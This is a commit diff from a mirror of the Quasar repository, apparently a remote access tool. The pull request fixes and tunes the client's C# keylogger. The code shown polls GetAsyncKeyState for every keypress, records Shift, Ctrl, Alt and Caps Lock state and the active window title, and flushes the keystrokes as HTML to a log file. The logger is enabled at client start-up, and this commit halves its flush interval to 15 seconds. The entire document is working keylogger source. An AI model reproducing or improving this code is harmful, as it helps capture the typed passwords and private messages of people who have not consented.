mirror of https://github.com/quasar/Quasar.git
Merge pull request #83 from yankejustin/master
Fixes and improvements to the keylogger
This commit is contained in:
commit
992a4aeb5f
|
@ -11,7 +11,7 @@ namespace xClient.Core.Keylogger
|
|||
public class KeyData
|
||||
{
|
||||
public short Value { get; set; }
|
||||
public bool ShitKey { get; set; }
|
||||
public bool ShiftKey { get; set; }
|
||||
public bool CapsLock { get; set; }
|
||||
public bool ControlKey { get; set; }
|
||||
public bool AltKey { get; set; }
|
||||
|
@ -69,7 +69,7 @@ private static bool ControlKey
|
|||
{
|
||||
get
|
||||
{
|
||||
return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); //Returns true if shiftkey is pressed
|
||||
return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); //Returns true if controlkey is pressed
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -77,7 +77,7 @@ private static bool ControlKey
|
|||
{
|
||||
get
|
||||
{
|
||||
return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); //Returns true if shiftkey is pressed
|
||||
return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); //Returns true if altkey is pressed
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -101,6 +101,10 @@ private static bool CapsLock
|
|||
private readonly System.Timers.Timer _timerLogKeys;
|
||||
private readonly System.Timers.Timer _timerFlush;
|
||||
|
||||
/// <summary>
|
||||
/// Creates the logging class that provides keylogging functionality.
|
||||
/// </summary>
|
||||
/// <param name="flushInterval">The interval, in milliseconds, to flush the contents of the keylogger to the file.</param>
|
||||
public Logger(double flushInterval)
|
||||
{
|
||||
Instance = this;
|
||||
|
@ -157,7 +161,7 @@ public Logger(double flushInterval)
|
|||
this._logFileBuffer = new StringBuilder();
|
||||
}
|
||||
|
||||
private string HighlightpecialKey(string name)
|
||||
private string HighlightSpecialKey(string name)
|
||||
{
|
||||
return string.Format("<font color=\"0000FF\">[{0}]</font>", name);
|
||||
}
|
||||
|
@ -177,23 +181,23 @@ private void EmptyKeyBuffer()
|
|||
switch (k.Value)
|
||||
{
|
||||
case 8:
|
||||
_logFileBuffer.Append(HighlightpecialKey("Back"));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("Back"));
|
||||
break;
|
||||
case 9:
|
||||
_logFileBuffer.Append(HighlightpecialKey("Tab"));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("Tab"));
|
||||
break;
|
||||
case 13:
|
||||
_logFileBuffer.Append(HighlightpecialKey("Enter"));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("Enter"));
|
||||
break;
|
||||
case 32:
|
||||
_logFileBuffer.Append(" ");
|
||||
break;
|
||||
case 46:
|
||||
_logFileBuffer.Append(HighlightpecialKey("Del"));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("Del"));
|
||||
break;
|
||||
case 91:
|
||||
case 92:
|
||||
_logFileBuffer.Append(HighlightpecialKey("Win"));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("Win"));
|
||||
break;
|
||||
case 112:
|
||||
case 113:
|
||||
|
@ -206,30 +210,30 @@ private void EmptyKeyBuffer()
|
|||
case 120:
|
||||
case 121:
|
||||
case 122:
|
||||
_logFileBuffer.Append(HighlightpecialKey("F" + (k.Value - 111)));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111)));
|
||||
break;
|
||||
default:
|
||||
if (_enumValues.Contains(k.Value))
|
||||
{
|
||||
if (k.AltKey && k.ControlKey && k.ShitKey)
|
||||
if (k.AltKey && k.ControlKey && k.ShiftKey)
|
||||
{
|
||||
_logFileBuffer.Append(HighlightpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
|
||||
}
|
||||
if (k.AltKey && k.ControlKey && !k.ShitKey)
|
||||
else if (k.AltKey && k.ControlKey && !k.ShiftKey)
|
||||
{
|
||||
_logFileBuffer.Append(HighlightpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
|
||||
}
|
||||
if (k.AltKey && !k.ControlKey)
|
||||
else if (k.AltKey && !k.ControlKey)
|
||||
{
|
||||
_logFileBuffer.Append(HighlightpecialKey("ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
|
||||
}
|
||||
if (k.ControlKey && !k.AltKey)
|
||||
else if (k.ControlKey && !k.AltKey)
|
||||
{
|
||||
_logFileBuffer.Append(HighlightpecialKey("CTRL-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
|
||||
_logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
|
||||
}
|
||||
else
|
||||
{
|
||||
_logFileBuffer.Append(FromKeys(k.Value, k.ShitKey, k.CapsLock));
|
||||
_logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock));
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
@ -247,7 +251,7 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs
|
|||
{
|
||||
if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress
|
||||
{
|
||||
_keyBuffer.Add(new KeyData() {CapsLock = CapsLock, ShitKey = ShiftKey, ControlKey = ControlKey, AltKey = AltKey, Value = i});
|
||||
_keyBuffer.Add(new KeyData() {CapsLock = CapsLock, ShiftKey = ShiftKey, ControlKey = ControlKey, AltKey = AltKey, Value = i});
|
||||
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
|
||||
if (_hWndTitle != null)
|
||||
{
|
||||
|
|
|
@ -131,7 +131,7 @@ private static void Initialize()
|
|||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
Logger logger = new Logger(30000) { Enabled = true };
|
||||
Logger logger = new Logger(15000) { Enabled = true };
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue